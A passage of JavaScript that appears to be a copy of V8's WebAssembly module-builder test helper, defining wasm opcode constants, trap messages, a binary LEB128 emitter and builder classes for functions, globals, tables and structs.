            I32Ror: 0x78,
            I64Clz: 0x79,
            I64Ctz: 0x7a,
            I64Popcnt: 0x7b,
            I64Add: 0x7c,
            I64Sub: 0x7d,
            I64Mul: 0x7e,
            I64DivS: 0x7f,
            I64DivU: 0x80,
            I64RemS: 0x81,
            I64RemU: 0x82,
            I64And: 0x83,
            I64Ior: 0x84,
            I64Xor: 0x85,
            I64Shl: 0x86,
            I64ShrS: 0x87,
            I64ShrU: 0x88,
            I64Rol: 0x89,
            I64Ror: 0x8a,
            F32Abs: 0x8b,
            F32Neg: 0x8c,
            F32Ceil: 0x8d,
            F32Floor: 0x8e,
            F32Trunc: 0x8f,
            F32NearestInt: 0x90,
            F32Sqrt: 0x91,
            F32Add: 0x92,
            F32Sub: 0x93,
            F32Mul: 0x94,
            F32Div: 0x95,
            F32Min: 0x96,
            F32Max: 0x97,
            F32CopySign: 0x98,
            F64Abs: 0x99,
            F64Neg: 0x9a,
            F64Ceil: 0x9b,
            F64Floor: 0x9c,
            F64Trunc: 0x9d,
            F64NearestInt: 0x9e,
            F64Sqrt: 0x9f,
            F64Add: 0xa0,
            F64Sub: 0xa1,
            F64Mul: 0xa2,
            F64Div: 0xa3,
            F64Min: 0xa4,
            F64Max: 0xa5,
            F64CopySign: 0xa6,
            I32ConvertI64: 0xa7,
            I32SConvertF32: 0xa8,
            I32UConvertF32: 0xa9,
            I32SConvertF64: 0xaa,
            I32UConvertF64: 0xab,
            I64SConvertI32: 0xac,
            I64UConvertI32: 0xad,
            I64SConvertF32: 0xae,
            I64UConvertF32: 0xaf,
            I64SConvertF64: 0xb0,
            I64UConvertF64: 0xb1,
            F32SConvertI32: 0xb2,
            F32UConvertI32: 0xb3,
            F32SConvertI64: 0xb4,
            F32UConvertI64: 0xb5,
            F32ConvertF64: 0xb6,
            F64SConvertI32: 0xb7,
            F64UConvertI32: 0xb8,
            F64SConvertI64: 0xb9,
            F64UConvertI64: 0xba,
            F64ConvertF32: 0xbb,
            I32ReinterpretF32: 0xbc,
            I64ReinterpretF64: 0xbd,
            F32ReinterpretI32: 0xbe,
            F64ReinterpretI64: 0xbf,
            I32SExtendI8: 0xc0,
            I32SExtendI16: 0xc1,
            I64SExtendI8: 0xc2,
            I64SExtendI16: 0xc3,
            I64SExtendI32: 0xc4,
            RefNull: 0xd0,
            RefIsNull: 0xd1,
            RefFunc: 0xd2,
            RefEq: 0xd3,
            RefAsNonNull: 0xd4,
            BrOnNull: 0xd5,
            BrOnNonNull: 0xd6,
          };
          function defineWasmOpcode(name, value) {
            if (globalThis.kWasmOpcodeNames === undefined) {
              globalThis.kWasmOpcodeNames = {};
            }
            Object.defineProperty(globalThis, name, { value: value });
            if (globalThis.kWasmOpcodeNames[value] !== undefined) {
              throw new Error(
                `Duplicate wasm opcode: ${value}. Previous name: ${globalThis.kWasmOpcodeNames[value]}, new name: ${name}`
              );
            }
            globalThis.kWasmOpcodeNames[value] = name;
          }
          for (let name in kWasmOpcodes) {
            defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]);
          }
          // Prefix opcodes
          const kPrefixOpcodes = {
            GC: 0xfb,
            Numeric: 0xfc,
            Simd: 0xfd,
            Atomic: 0xfe,
          };
          for (let prefix in kPrefixOpcodes) {
            defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]);
          }
          // Use these for multi-byte instructions (opcode > 0x7F needing two LEB bytes):
          function SimdInstr(opcode) {
            if (opcode <= 0x7f) return [kSimdPrefix, opcode];
            return [kSimdPrefix, 0x80 | (opcode & 0x7f), opcode >> 7];
          }
          function GCInstr(opcode) {
            if (opcode <= 0x7f) return [kGCPrefix, opcode];
            return [kGCPrefix, 0x80 | (opcode & 0x7f), opcode >> 7];
          }
          // GC opcodes
          let kExprStructNew = 0x00;
          let kExprStructNewDefault = 0x01;
          let kExprStructGet = 0x02;
          let kExprStructGetS = 0x03;
          let kExprStructGetU = 0x04;
          let kExprStructSet = 0x05;
          let kExprArrayNew = 0x06;
          let kExprArrayNewDefault = 0x07;
          let kExprArrayNewFixed = 0x08;
          let kExprArrayNewData = 0x09;
          let kExprArrayNewElem = 0x0a;
          let kExprArrayGet = 0x0b;
          let kExprArrayGetS = 0x0c;
          let kExprArrayGetU = 0x0d;
          let kExprArraySet = 0x0e;
          let kExprArrayLen = 0x0f;
          let kExprArrayFill = 0x10;
          let kExprArrayCopy = 0x11;
          let kExprArrayInitData = 0x12;
          let kExprArrayInitElem = 0x13;
          let kExprRefTest = 0x14;
          let kExprRefTestNull = 0x15;
          let kExprRefCast = 0x16;
          let kExprRefCastNull = 0x17;
          let kExprBrOnCastGeneric = 0x18; // TODO(14034): Drop "Generic" name.
          let kExprBrOnCastFailGeneric = 0x19; // TODO(14034): Drop "Generic" name.
          let kExprAnyConvertExtern = 0x1a;
          let kExprExternConvertAny = 0x1b;
          let kExprRefI31 = 0x1c;
          let kExprI31GetS = 0x1d;
          let kExprI31GetU = 0x1e;
          let kExprRefCastNop = 0x4c;
          // Stringref proposal.
          let kExprStringNewUtf8 = 0x80;
          let kExprStringNewWtf16 = 0x81;
          let kExprStringConst = 0x82;
          let kExprStringMeasureUtf8 = 0x83;
          let kExprStringMeasureWtf8 = 0x84;
          let kExprStringMeasureWtf16 = 0x85;
          let kExprStringEncodeUtf8 = 0x86;
          let kExprStringEncodeWtf16 = 0x87;
          let kExprStringConcat = 0x88;
          let kExprStringEq = 0x89;
          let kExprStringIsUsvSequence = 0x8a;
          let kExprStringNewLossyUtf8 = 0x8b;
          let kExprStringNewWtf8 = 0x8c;
          let kExprStringEncodeLossyUtf8 = 0x8d;
          let kExprStringEncodeWtf8 = 0x8e;
          let kExprStringNewUtf8Try = 0x8f;
          let kExprStringAsWtf8 = 0x90;
          let kExprStringViewWtf8Advance = 0x91;
          let kExprStringViewWtf8EncodeUtf8 = 0x92;
          let kExprStringViewWtf8Slice = 0x93;
          let kExprStringViewWtf8EncodeLossyUtf8 = 0x94;
          let kExprStringViewWtf8EncodeWtf8 = 0x95;
          let kExprStringAsWtf16 = 0x98;
          let kExprStringViewWtf16Length = 0x99;
          let kExprStringViewWtf16GetCodeunit = 0x9a;
          let kExprStringViewWtf16Encode = 0x9b;
          let kExprStringViewWtf16Slice = 0x9c;
          let kExprStringAsIter = 0xa0;
          let kExprStringViewIterNext = 0xa1;
          let kExprStringViewIterAdvance = 0xa2;
          let kExprStringViewIterRewind = 0xa3;
          let kExprStringViewIterSlice = 0xa4;
          let kExprStringCompare = 0xa8;
          let kExprStringFromCodePoint = 0xa9;
          let kExprStringHash = 0xaa;
          let kExprStringNewUtf8Array = 0xb0;
          let kExprStringNewWtf16Array = 0xb1;
          let kExprStringEncodeUtf8Array = 0xb2;
          let kExprStringEncodeWtf16Array = 0xb3;
          let kExprStringNewLossyUtf8Array = 0xb4;
          let kExprStringNewWtf8Array = 0xb5;
          let kExprStringEncodeLossyUtf8Array = 0xb6;
          let kExprStringEncodeWtf8Array = 0xb7;
          let kExprStringNewUtf8ArrayTry = 0xb8;
          // Numeric opcodes.
          let kExprI32SConvertSatF32 = 0x00;
          let kExprI32UConvertSatF32 = 0x01;
          let kExprI32SConvertSatF64 = 0x02;
          let kExprI32UConvertSatF64 = 0x03;
          let kExprI64SConvertSatF32 = 0x04;
          let kExprI64UConvertSatF32 = 0x05;
          let kExprI64SConvertSatF64 = 0x06;
          let kExprI64UConvertSatF64 = 0x07;
          let kExprMemoryInit = 0x08;
          let kExprDataDrop = 0x09;
          let kExprMemoryCopy = 0x0a;
          let kExprMemoryFill = 0x0b;
          let kExprTableInit = 0x0c;
          let kExprElemDrop = 0x0d;
          let kExprTableCopy = 0x0e;
          let kExprTableGrow = 0x0f;
          let kExprTableSize = 0x10;
          let kExprTableFill = 0x11;
          // Atomic opcodes.
          let kExprAtomicNotify = 0x00;
          let kExprI32AtomicWait = 0x01;
          let kExprI64AtomicWait = 0x02;
          let kExprI32AtomicLoad = 0x10;
          let kExprI32AtomicLoad8U = 0x12;
          let kExprI32AtomicLoad16U = 0x13;
          let kExprI32AtomicStore = 0x17;
          let kExprI32AtomicStore8U = 0x19;
          let kExprI32AtomicStore16U = 0x1a;
          let kExprI32AtomicAdd = 0x1e;
          let kExprI32AtomicAdd8U = 0x20;
          let kExprI32AtomicAdd16U = 0x21;
          let kExprI32AtomicSub = 0x25;
          let kExprI32AtomicSub8U = 0x27;
          let kExprI32AtomicSub16U = 0x28;
          let kExprI32AtomicAnd = 0x2c;
          let kExprI32AtomicAnd8U = 0x2e;
          let kExprI32AtomicAnd16U = 0x2f;
          let kExprI32AtomicOr = 0x33;
          let kExprI32AtomicOr8U = 0x35;
          let kExprI32AtomicOr16U = 0x36;
          let kExprI32AtomicXor = 0x3a;
          let kExprI32AtomicXor8U = 0x3c;
          let kExprI32AtomicXor16U = 0x3d;
          let kExprI32AtomicExchange = 0x41;
          let kExprI32AtomicExchange8U = 0x43;
          let kExprI32AtomicExchange16U = 0x44;
          let kExprI32AtomicCompareExchange = 0x48;
          let kExprI32AtomicCompareExchange8U = 0x4a;
          let kExprI32AtomicCompareExchange16U = 0x4b;
          let kExprI64AtomicLoad = 0x11;
          let kExprI64AtomicLoad8U = 0x14;
          let kExprI64AtomicLoad16U = 0x15;
          let kExprI64AtomicLoad32U = 0x16;
          let kExprI64AtomicStore = 0x18;
          let kExprI64AtomicStore8U = 0x1b;
          let kExprI64AtomicStore16U = 0x1c;
          let kExprI64AtomicStore32U = 0x1d;
          let kExprI64AtomicAdd = 0x1f;
          let kExprI64AtomicAdd8U = 0x22;
          let kExprI64AtomicAdd16U = 0x23;
          let kExprI64AtomicAdd32U = 0x24;
          let kExprI64AtomicSub = 0x26;
          let kExprI64AtomicSub8U = 0x29;
          let kExprI64AtomicSub16U = 0x2a;
          let kExprI64AtomicSub32U = 0x2b;
          let kExprI64AtomicAnd = 0x2d;
          let kExprI64AtomicAnd8U = 0x30;
          let kExprI64AtomicAnd16U = 0x31;
          let kExprI64AtomicAnd32U = 0x32;
          let kExprI64AtomicOr = 0x34;
          let kExprI64AtomicOr8U = 0x37;
          let kExprI64AtomicOr16U = 0x38;
          let kExprI64AtomicOr32U = 0x39;
          let kExprI64AtomicXor = 0x3b;
          let kExprI64AtomicXor8U = 0x3e;
          let kExprI64AtomicXor16U = 0x3f;
          let kExprI64AtomicXor32U = 0x40;
          let kExprI64AtomicExchange = 0x42;
          let kExprI64AtomicExchange8U = 0x45;
          let kExprI64AtomicExchange16U = 0x46;
          let kExprI64AtomicExchange32U = 0x47;
          let kExprI64AtomicCompareExchange = 0x49;
          let kExprI64AtomicCompareExchange8U = 0x4c;
          let kExprI64AtomicCompareExchange16U = 0x4d;
          let kExprI64AtomicCompareExchange32U = 0x4e;
          // Simd opcodes.
          let kExprS128LoadMem = 0x00;
          let kExprS128Load8x8S = 0x01;
          let kExprS128Load8x8U = 0x02;
          let kExprS128Load16x4S = 0x03;
          let kExprS128Load16x4U = 0x04;
          let kExprS128Load32x2S = 0x05;
          let kExprS128Load32x2U = 0x06;
          let kExprS128Load8Splat = 0x07;
          let kExprS128Load16Splat = 0x08;
          let kExprS128Load32Splat = 0x09;
          let kExprS128Load64Splat = 0x0a;
          let kExprS128StoreMem = 0x0b;
          let kExprS128Const = 0x0c;
          let kExprI8x16Shuffle = 0x0d;
          let kExprI8x16Swizzle = 0x0e;
          let kExprI8x16Splat = 0x0f;
          let kExprI16x8Splat = 0x10;
          let kExprI32x4Splat = 0x11;
          let kExprI64x2Splat = 0x12;
          let kExprF32x4Splat = 0x13;
          let kExprF64x2Splat = 0x14;
          let kExprI8x16ExtractLaneS = 0x15;
          let kExprI8x16ExtractLaneU = 0x16;
          let kExprI8x16ReplaceLane = 0x17;
          let kExprI16x8ExtractLaneS = 0x18;
          let kExprI16x8ExtractLaneU = 0x19;
          let kExprI16x8ReplaceLane = 0x1a;
          let kExprI32x4ExtractLane = 0x1b;
          let kExprI32x4ReplaceLane = 0x1c;
          let kExprI64x2ExtractLane = 0x1d;
          let kExprI64x2ReplaceLane = 0x1e;
          let kExprF32x4ExtractLane = 0x1f;
          let kExprF32x4ReplaceLane = 0x20;
          let kExprF64x2ExtractLane = 0x21;
          let kExprF64x2ReplaceLane = 0x22;
          let kExprI8x16Eq = 0x23;
          let kExprI8x16Ne = 0x24;
          let kExprI8x16LtS = 0x25;
          let kExprI8x16LtU = 0x26;
          let kExprI8x16GtS = 0x27;
          let kExprI8x16GtU = 0x28;
          let kExprI8x16LeS = 0x29;
          let kExprI8x16LeU = 0x2a;
          let kExprI8x16GeS = 0x2b;
          let kExprI8x16GeU = 0x2c;
          let kExprI16x8Eq = 0x2d;
          let kExprI16x8Ne = 0x2e;
          let kExprI16x8LtS = 0x2f;
          let kExprI16x8LtU = 0x30;
          let kExprI16x8GtS = 0x31;
          let kExprI16x8GtU = 0x32;
          let kExprI16x8LeS = 0x33;
          let kExprI16x8LeU = 0x34;
          let kExprI16x8GeS = 0x35;
          let kExprI16x8GeU = 0x36;
          let kExprI32x4Eq = 0x37;
          let kExprI32x4Ne = 0x38;
          let kExprI32x4LtS = 0x39;
          let kExprI32x4LtU = 0x3a;
          let kExprI32x4GtS = 0x3b;
          let kExprI32x4GtU = 0x3c;
          let kExprI32x4LeS = 0x3d;
          let kExprI32x4LeU = 0x3e;
          let kExprI32x4GeS = 0x3f;
          let kExprI32x4GeU = 0x40;
          let kExprF32x4Eq = 0x41;
          let kExprF32x4Ne = 0x42;
          let kExprF32x4Lt = 0x43;
          let kExprF32x4Gt = 0x44;
          let kExprF32x4Le = 0x45;
          let kExprF32x4Ge = 0x46;
          let kExprF64x2Eq = 0x47;
          let kExprF64x2Ne = 0x48;
          let kExprF64x2Lt = 0x49;
          let kExprF64x2Gt = 0x4a;
          let kExprF64x2Le = 0x4b;
          let kExprF64x2Ge = 0x4c;
          let kExprS128Not = 0x4d;
          let kExprS128And = 0x4e;
          let kExprS128AndNot = 0x4f;
          let kExprS128Or = 0x50;
          let kExprS128Xor = 0x51;
          let kExprS128Select = 0x52;
          let kExprV128AnyTrue = 0x53;
          let kExprS128Load8Lane = 0x54;
          let kExprS128Load16Lane = 0x55;
          let kExprS128Load32Lane = 0x56;
          let kExprS128Load64Lane = 0x57;
          let kExprS128Store8Lane = 0x58;
          let kExprS128Store16Lane = 0x59;
          let kExprS128Store32Lane = 0x5a;
          let kExprS128Store64Lane = 0x5b;
          let kExprS128Load32Zero = 0x5c;
          let kExprS128Load64Zero = 0x5d;
          let kExprF32x4DemoteF64x2Zero = 0x5e;
          let kExprF64x2PromoteLowF32x4 = 0x5f;
          let kExprI8x16Abs = 0x60;
          let kExprI8x16Neg = 0x61;
          let kExprI8x16Popcnt = 0x62;
          let kExprI8x16AllTrue = 0x63;
          let kExprI8x16BitMask = 0x64;
          let kExprI8x16SConvertI16x8 = 0x65;
          let kExprI8x16UConvertI16x8 = 0x66;
          let kExprF32x4Ceil = 0x67;
          let kExprF32x4Floor = 0x68;
          let kExprF32x4Trunc = 0x69;
          let kExprF32x4NearestInt = 0x6a;
          let kExprI8x16Shl = 0x6b;
          let kExprI8x16ShrS = 0x6c;
          let kExprI8x16ShrU = 0x6d;
          let kExprI8x16Add = 0x6e;
          let kExprI8x16AddSatS = 0x6f;
          let kExprI8x16AddSatU = 0x70;
          let kExprI8x16Sub = 0x71;
          let kExprI8x16SubSatS = 0x72;
          let kExprI8x16SubSatU = 0x73;
          let kExprF64x2Ceil = 0x74;
          let kExprF64x2Floor = 0x75;
          let kExprI8x16MinS = 0x76;
          let kExprI8x16MinU = 0x77;
          let kExprI8x16MaxS = 0x78;
          let kExprI8x16MaxU = 0x79;
          let kExprF64x2Trunc = 0x7a;
          let kExprI8x16RoundingAverageU = 0x7b;
          let kExprI16x8ExtAddPairwiseI8x16S = 0x7c;
          let kExprI16x8ExtAddPairwiseI8x16U = 0x7d;
          let kExprI32x4ExtAddPairwiseI16x8S = 0x7e;
          let kExprI32x4ExtAddPairwiseI16x8U = 0x7f;
          let kExprI16x8Abs = 0x80;
          let kExprI16x8Neg = 0x81;
          let kExprI16x8Q15MulRSatS = 0x82;
          let kExprI16x8AllTrue = 0x83;
          let kExprI16x8BitMask = 0x84;
          let kExprI16x8SConvertI32x4 = 0x85;
          let kExprI16x8UConvertI32x4 = 0x86;
          let kExprI16x8SConvertI8x16Low = 0x87;
          let kExprI16x8SConvertI8x16High = 0x88;
          let kExprI16x8UConvertI8x16Low = 0x89;
          let kExprI16x8UConvertI8x16High = 0x8a;
          let kExprI16x8Shl = 0x8b;
          let kExprI16x8ShrS = 0x8c;
          let kExprI16x8ShrU = 0x8d;
          let kExprI16x8Add = 0x8e;
          let kExprI16x8AddSatS = 0x8f;
          let kExprI16x8AddSatU = 0x90;
          let kExprI16x8Sub = 0x91;
          let kExprI16x8SubSatS = 0x92;
          let kExprI16x8SubSatU = 0x93;
          let kExprF64x2NearestInt = 0x94;
          let kExprI16x8Mul = 0x95;
          let kExprI16x8MinS = 0x96;
          let kExprI16x8MinU = 0x97;
          let kExprI16x8MaxS = 0x98;
          let kExprI16x8MaxU = 0x99;
          let kExprI16x8RoundingAverageU = 0x9b;
          let kExprI16x8ExtMulLowI8x16S = 0x9c;
          let kExprI16x8ExtMulHighI8x16S = 0x9d;
          let kExprI16x8ExtMulLowI8x16U = 0x9e;
          let kExprI16x8ExtMulHighI8x16U = 0x9f;
          let kExprI32x4Abs = 0xa0;
          let kExprI32x4Neg = 0xa1;
          let kExprI32x4AllTrue = 0xa3;
          let kExprI32x4BitMask = 0xa4;
          let kExprI32x4SConvertI16x8Low = 0xa7;
          let kExprI32x4SConvertI16x8High = 0xa8;
          let kExprI32x4UConvertI16x8Low = 0xa9;
          let kExprI32x4UConvertI16x8High = 0xaa;
          let kExprI32x4Shl = 0xab;
          let kExprI32x4ShrS = 0xac;
          let kExprI32x4ShrU = 0xad;
          let kExprI32x4Add = 0xae;
          let kExprI32x4Sub = 0xb1;
          let kExprI32x4Mul = 0xb5;
          let kExprI32x4MinS = 0xb6;
          let kExprI32x4MinU = 0xb7;
          let kExprI32x4MaxS = 0xb8;
          let kExprI32x4MaxU = 0xb9;
          let kExprI32x4DotI16x8S = 0xba;
          let kExprI32x4ExtMulLowI16x8S = 0xbc;
          let kExprI32x4ExtMulHighI16x8S = 0xbd;
          let kExprI32x4ExtMulLowI16x8U = 0xbe;
          let kExprI32x4ExtMulHighI16x8U = 0xbf;
          let kExprI64x2Abs = 0xc0;
          let kExprI64x2Neg = 0xc1;
          let kExprI64x2AllTrue = 0xc3;
          let kExprI64x2BitMask = 0xc4;
          let kExprI64x2SConvertI32x4Low = 0xc7;
          let kExprI64x2SConvertI32x4High = 0xc8;
          let kExprI64x2UConvertI32x4Low = 0xc9;
          let kExprI64x2UConvertI32x4High = 0xca;
          let kExprI64x2Shl = 0xcb;
          let kExprI64x2ShrS = 0xcc;
          let kExprI64x2ShrU = 0xcd;
          let kExprI64x2Add = 0xce;
          let kExprI64x2Sub = 0xd1;
          let kExprI64x2Mul = 0xd5;
          let kExprI64x2Eq = 0xd6;
          let kExprI64x2Ne = 0xd7;
          let kExprI64x2LtS = 0xd8;
          let kExprI64x2GtS = 0xd9;
          let kExprI64x2LeS = 0xda;
          let kExprI64x2GeS = 0xdb;
          let kExprI64x2ExtMulLowI32x4S = 0xdc;
          let kExprI64x2ExtMulHighI32x4S = 0xdd;
          let kExprI64x2ExtMulLowI32x4U = 0xde;
          let kExprI64x2ExtMulHighI32x4U = 0xdf;
          let kExprF32x4Abs = 0xe0;
          let kExprF32x4Neg = 0xe1;
          let kExprF32x4Sqrt = 0xe3;
          let kExprF32x4Add = 0xe4;
          let kExprF32x4Sub = 0xe5;
          let kExprF32x4Mul = 0xe6;
          let kExprF32x4Div = 0xe7;
          let kExprF32x4Min = 0xe8;
          let kExprF32x4Max = 0xe9;
          let kExprF32x4Pmin = 0xea;
          let kExprF32x4Pmax = 0xeb;
          let kExprF64x2Abs = 0xec;
          let kExprF64x2Neg = 0xed;
          let kExprF64x2Sqrt = 0xef;
          let kExprF64x2Add = 0xf0;
          let kExprF64x2Sub = 0xf1;
          let kExprF64x2Mul = 0xf2;
          let kExprF64x2Div = 0xf3;
          let kExprF64x2Min = 0xf4;
          let kExprF64x2Max = 0xf5;
          let kExprF64x2Pmin = 0xf6;
          let kExprF64x2Pmax = 0xf7;
          let kExprI32x4SConvertF32x4 = 0xf8;
          let kExprI32x4UConvertF32x4 = 0xf9;
          let kExprF32x4SConvertI32x4 = 0xfa;
          let kExprF32x4UConvertI32x4 = 0xfb;
          let kExprI32x4TruncSatF64x2SZero = 0xfc;
          let kExprI32x4TruncSatF64x2UZero = 0xfd;
          let kExprF64x2ConvertLowI32x4S = 0xfe;
          let kExprF64x2ConvertLowI32x4U = 0xff;
          // Relaxed SIMD.
          let kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100);
          let kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101);
          let kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102);
          let kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103);
          let kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104);
          let kExprF32x4Qfma = wasmSignedLeb(0x105);
          let kExprF32x4Qfms = wasmSignedLeb(0x106);
          let kExprF64x2Qfma = wasmSignedLeb(0x107);
          let kExprF64x2Qfms = wasmSignedLeb(0x108);
          let kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109);
          let kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a);
          let kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b);
          let kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c);
          let kExprF32x4RelaxedMin = wasmSignedLeb(0x10d);
          let kExprF32x4RelaxedMax = wasmSignedLeb(0x10e);
          let kExprF64x2RelaxedMin = wasmSignedLeb(0x10f);
          let kExprF64x2RelaxedMax = wasmSignedLeb(0x110);
          let kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111);
          let kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112);
          let kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113);
          // Compilation hint constants.
          let kCompilationHintStrategyDefault = 0x00;
          let kCompilationHintStrategyLazy = 0x01;
          let kCompilationHintStrategyEager = 0x02;
          let kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03;
          let kCompilationHintTierDefault = 0x00;
          let kCompilationHintTierBaseline = 0x01;
          let kCompilationHintTierOptimized = 0x02;
          let kTrapUnreachable = 0;
          let kTrapMemOutOfBounds = 1;
          let kTrapDivByZero = 2;
          let kTrapDivUnrepresentable = 3;
          let kTrapRemByZero = 4;
          let kTrapFloatUnrepresentable = 5;
          let kTrapTableOutOfBounds = 6;
          let kTrapFuncSigMismatch = 7;
          let kTrapUnalignedAccess = 8;
          let kTrapDataSegmentOutOfBounds = 9;
          let kTrapElementSegmentOutOfBounds = 10;
          let kTrapRethrowNull = 11;
          let kTrapArrayTooLarge = 12;
          let kTrapArrayOutOfBounds = 13;
          let kTrapNullDereference = 14;
          let kTrapIllegalCast = 15;
          let kAtomicWaitOk = 0;
          let kAtomicWaitNotEqual = 1;
          let kAtomicWaitTimedOut = 2;
          // Exception handling with exnref.
          let kCatchNoRef = 0x0;
          let kCatchRef = 0x1;
          let kCatchAllNoRef = 0x2;
          let kCatchAllRef = 0x3;
          let kTrapMsgs = [
            "unreachable", // --
            "memory access out of bounds", // --
            "divide by zero", // --
            "divide result unrepresentable", // --
            "remainder by zero", // --
            "float unrepresentable in integer range", // --
            "table index is out of bounds", // --
            "null function or function signature mismatch", // --
            "operation does not support unaligned accesses", // --
            "data segment out of bounds", // --
            "element segment out of bounds", // --
            "rethrowing null value", // --
            "requested new array is too large", // --
            "array element access out of bounds", // --
            "dereferencing a null pointer", // --
            "illegal cast", // --
          ];
          // This requires test/mjsunit/mjsunit.js.
          function assertTraps(trap, code) {
            assertThrows(
              code,
              WebAssembly.RuntimeError,
              new RegExp(kTrapMsgs[trap])
            );
          }
          function assertTrapsOneOf(traps, code) {
            const errorChecker = new RegExp(
              "(" + traps.map((trap) => kTrapMsgs[trap]).join("|") + ")"
            );
            assertThrows(code, WebAssembly.RuntimeError, errorChecker);
          }
          class Binary {
            constructor() {
              this.length = 0;
              this.buffer = new Uint8Array(8192);
            }
            ensure_space(needed) {
              if (this.buffer.length - this.length >= needed) return;
              let new_capacity = this.buffer.length * 2;
              while (new_capacity - this.length < needed) new_capacity *= 2;
              let new_buffer = new Uint8Array(new_capacity);
              new_buffer.set(this.buffer);
              this.buffer = new_buffer;
            }
            trunc_buffer() {
              return new Uint8Array(this.buffer.buffer, 0, this.length);
            }
            reset() {
              this.length = 0;
            }
            emit_u8(val) {
              this.ensure_space(1);
              this.buffer[this.length++] = val;
            }
            emit_u16(val) {
              this.ensure_space(2);
              this.buffer[this.length++] = val;
              this.buffer[this.length++] = val >> 8;
            }
            emit_u32(val) {
              this.ensure_space(4);
              this.buffer[this.length++] = val;
              this.buffer[this.length++] = val >> 8;
              this.buffer[this.length++] = val >> 16;
              this.buffer[this.length++] = val >> 24;
            }
            emit_leb_u(val, max_len) {
              this.ensure_space(max_len);
              for (let i = 0; i < max_len; ++i) {
                let v = val & 0xff;
                val = val >>> 7;
                if (val == 0) {
                  this.buffer[this.length++] = v;
                  return;
                }
                this.buffer[this.length++] = v | 0x80;
              }
              throw new Error("Leb value exceeds maximum length of " + max_len);
            }
            emit_u32v(val) {
              this.emit_leb_u(val, kMaxVarInt32Size);
            }
            emit_u64v(val) {
              this.emit_leb_u(val, kMaxVarInt64Size);
            }
            emit_bytes(data) {
              this.ensure_space(data.length);
              this.buffer.set(data, this.length);
              this.length += data.length;
            }
            emit_string(string) {
              // When testing illegal names, we pass a byte array directly.
              if (string instanceof Array) {
                this.emit_u32v(string.length);
                this.emit_bytes(string);
                return;
              }
              // This is the hacky way to convert a JavaScript string to a UTF8 encoded
              // string only containing single-byte characters.
              let string_utf8 = unescape(encodeURIComponent(string));
              this.emit_u32v(string_utf8.length);
              for (let i = 0; i < string_utf8.length; i++) {
                this.emit_u8(string_utf8.charCodeAt(i));
              }
            }
            emit_heap_type(heap_type) {
              this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size));
            }
            emit_type(type) {
              if (typeof type == "number") {
                this.emit_u8(type >= 0 ? type : type & kLeb128Mask);
              } else {
                this.emit_u8(type.opcode);
                if ("depth" in type) this.emit_u8(type.depth);
                this.emit_heap_type(type.heap_type);
              }
            }
            emit_init_expr(expr) {
              this.emit_bytes(expr);
              this.emit_u8(kExprEnd);
            }
            emit_header() {
              this.emit_bytes([
                kWasmH0,
                kWasmH1,
                kWasmH2,
                kWasmH3,
                kWasmV0,
                kWasmV1,
                kWasmV2,
                kWasmV3,
              ]);
            }
            emit_section(section_code, content_generator) {
              // Emit section name.
              this.emit_u8(section_code);
              // Emit the section to a temporary buffer: its full length isn't know yet.
              const section = new Binary();
              content_generator(section);
              // Emit section length.
              this.emit_u32v(section.length);
              // Copy the temporary buffer.
              // Avoid spread because {section} can be huge.
              this.emit_bytes(section.trunc_buffer());
            }
          }
          class WasmFunctionBuilder {
            // Encoding of local names: a string corresponds to a local name,
            // a number n corresponds to n undefined names.
            constructor(module, name, type_index, arg_names) {
              this.module = module;
              this.name = name;
              this.type_index = type_index;
              this.body = [];
              this.locals = [];
              this.local_names = arg_names;
              this.body_offset = undefined; // Not valid until module is serialized.
            }
            numLocalNames() {
              let num_local_names = 0;
              for (let loc_name of this.local_names) {
                if (typeof loc_name == "string") ++num_local_names;
              }
              return num_local_names;
            }
            exportAs(name) {
              this.module.addExport(name, this.index);
              return this;
            }
            exportFunc() {
              this.exportAs(this.name);
              return this;
            }
            setCompilationHint(strategy, baselineTier, topTier) {
              this.module.setCompilationHint(
                strategy,
                baselineTier,
                topTier,
                this.index
              );
              return this;
            }
            addBody(body) {
              checkExpr(body);
              // Store a copy of the body, and automatically add the end opcode.
              this.body = body.concat([kExprEnd]);
              return this;
            }
            addBodyWithEnd(body) {
              this.body = body;
              return this;
            }
            getNumLocals() {
              let total_locals = 0;
              for (let l of this.locals) {
                total_locals += l.count;
              }
              return total_locals;
            }
            addLocals(type, count, names) {
              this.locals.push({ type: type, count: count });
              names = names || [];
              if (names.length > count)
                throw new Error("too many locals names given");
              this.local_names.push(...names);
              if (count > names.length) this.local_names.push(count - names.length);
              return this;
            }
            end() {
              return this.module;
            }
          }
          class WasmGlobalBuilder {
            constructor(module, type, mutable, init) {
              this.module = module;
              this.type = type;
              this.mutable = mutable;
              this.init = init;
            }
            exportAs(name) {
              this.module.exports.push({
                name: name,
                kind: kExternalGlobal,
                index: this.index,
              });
              return this;
            }
          }
          function checkExpr(expr) {
            for (let b of expr) {
              if (typeof b !== "number" || (b & ~0xff) !== 0) {
                throw new Error(
                  "invalid body (entries must be 8 bit numbers): " + expr
                );
              }
            }
          }
          class WasmTableBuilder {
            constructor(module, type, initial_size, max_size, init_expr) {
              // TODO(manoskouk): Add the table index.
              this.module = module;
              this.type = type;
              this.initial_size = initial_size;
              this.has_max = max_size !== undefined;
              this.max_size = max_size;
              this.init_expr = init_expr;
              this.has_init = init_expr !== undefined;
            }
            exportAs(name) {
              this.module.exports.push({
                name: name,
                kind: kExternalTable,
                index: this.index,
              });
              return this;
            }
          }
          function makeField(type, mutability) {
            if (typeof mutability != "boolean") {
              throw new Error("field mutability must be boolean");
            }
            return { type: type, mutability: mutability };
          }
          class WasmStruct {
            constructor(fields, is_final, supertype_idx) {
              if (!Array.isArray(fields)) {
                throw new Error("struct fields must be an array");
              }
              this.fields = fields;
